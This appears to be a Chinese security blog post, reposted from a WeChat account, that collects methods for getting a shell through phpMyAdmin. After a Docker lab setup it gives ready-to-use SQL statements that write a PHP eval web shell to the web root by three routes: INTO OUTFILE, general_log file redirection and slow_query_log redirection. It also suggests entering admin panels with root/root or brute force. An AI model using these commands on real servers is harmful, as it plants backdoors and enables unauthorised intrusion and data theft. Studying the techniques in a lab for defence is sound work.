PHPMyadmin的Getshell方法汇总

admin 2023年7月6日07:20:59评论74 views字数 2467阅读8分13秒阅读模式
PHPMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
它跟其他PHP程序一样在网页服务器上执行,可以在远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。
一般我们在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin后台,可通过弱口令(可以直接尝试下账号root密码root)或者暴力破解等多种技术进入管理后台。

PHPMyadmin的Getshell方法汇总

接下来,让我们荡起双桨,优哉游哉,开启它的精彩之路吧!PHPMyadmin的Getshell方法汇总
PHPMyadmin的Getshell方法汇总

01

靶场搭建 ★★

第一步:准备一台Docker环境虚拟机,然后执行如下命令快速下载镜像。

docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30

PHPMyadmin的Getshell方法汇总

第二步:执行如下语句,创建最新版容器。

docker run  --name cnlamp  -p 8080:80 -p 3306:3306  -d registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30#映射端口需要结合实际情况自行设定docker ps -a

PHPMyadmin的Getshell方法汇总

第三步:访问映射的IP或域名,如果显示如下图,即表明安装成功。

PHPMyadmin的Getshell方法汇总

第四步关注下方公众号并回复:cnlamp,如下图所示,从而获得查看phpmyadmin的用户名和密码的方法。

PHPMyadmin的Getshell方法汇总

PHPMyadmin的Getshell方法汇总

第五步:访问PHPMyadmin,使用给出的密码进行登录。

PHPMyadmin的Getshell方法汇总

到此,我们完成了LAMP靶场的部署;接下来,Getshell的利用正式开始。

02

Getshell方法

0X01 直接写入shell文件

(1)通过outfile和dumpfile直接写入shell 文件,首先我们先普及一下两者的区别。

outfile:--支持多行数据同时导出--使用union联合查询时,要保证两侧查询的列数相同--会在换行符制表符后面追加反斜杠--会在末尾追加换行
dumpfile:--每次只能导出一行数据--不会在换行符制表符后面追加反斜杠--不会在末尾追加换行
#因此我们平时直接写入命令的时候使用outfile即可,特定环境需要写入二进制文件时使用dumpfile。

(2)利用条件如下:

--对web目录需要有写权限能够使用单引号(root)
--知道网站绝对路径(phpinfo/php探针/通过报错等)
--secure_file_priv没有具体值

(3)查询路径与查看secure_file_priv的信息

--select @@basedir;    查找绝对路径--show global variables like '%secure_file_priv%';   查看有没有配置 secure_file_priv 功能--NULL       表示不允许导入或导出--/tmp       表示只允许在 /tmp 目录导入导出--空         表示不限制目录

(4)如果满足以上条件可以直接写shell,参考写马方式如下:

select "<?php @eval($_POST['123']);?>" into outfile '/网站绝对路径/shell.php'
#网站绝对路径可借助phpinfo查看

PHPMyadmin的Getshell方法汇总

(5)往SQL语句中写马,效果呈现如下:

PHPMyadmin的Getshell方法汇总

(6)最后借助蚁剑,连接成功。

PHPMyadmin的Getshell方法汇总

PHPMyadmin的Getshell方法汇总


0X02 日志文件写 shell

(1)在mysql中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin后台执行sql语句开启日志功能,修改日志存储文件。

利用条件如下:

--root权限--知道网站绝对路径

(2)general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell。

--SHOW VARIABLES LIKE '%general%';   查看配置默认是关闭状态
--set global general_log = on;       开启general_log模式
--set global general_log_file='日志路径shell02.php';   修改日志目录为shell地址 
--select "<?php @eval($_POST['123']);?>"        写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中

PHPMyadmin的Getshell方法汇总

(3)关闭general_log与修改log_file路径后,再次查看,效果如下:

PHPMyadmin的Getshell方法汇总

(4)尝试写马

PHPMyadmin的Getshell方法汇总

(5)尝试通过蚁剑连接

PHPMyadmin的Getshell方法汇总

PHPMyadmin的Getshell方法汇总

0X03 慢日志文件写 shell

(1)在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。

优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell文件就会提示500错误,通过慢查询日志可以避免这个问题。

(2)利用条件如下

--root权限--知道网站绝对路径

(3)慢查询日志开放及写马总结如下

--show variables like '%slow_query_log%';      查看慢查询日志开启情况
--set global slow_query_log=on;         开启慢查询日志
--set global slow_query_log_file='绝对路径/shell03.php';   修改日志文件存储的绝对路径
--select "<?php @eval($_POST['123']);?>" or sleep(10);      向日志文件中写入shell
#使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:--show global variables like '%long_query_time%';

(4)查看慢查询日志开启情况

PHPMyadmin的Getshell方法汇总

(5)开启慢查询日志,修改日志文件存储的绝对路径。

PHPMyadmin的Getshell方法汇总

(6)向日志文件中写入shell请求。

PHPMyadmin的Getshell方法汇总

(7)尝试通过蚁剑连接

PHPMyadmin的Getshell方法汇总

THE END

原文始发于微信公众号(数字人才创研院):PHPMyadmin的Getshell方法汇总

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月6日07:20:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPMyadmin的Getshell方法汇总https://cn-sec.com/archives/1849081.html

发表评论

匿名网友 填写信息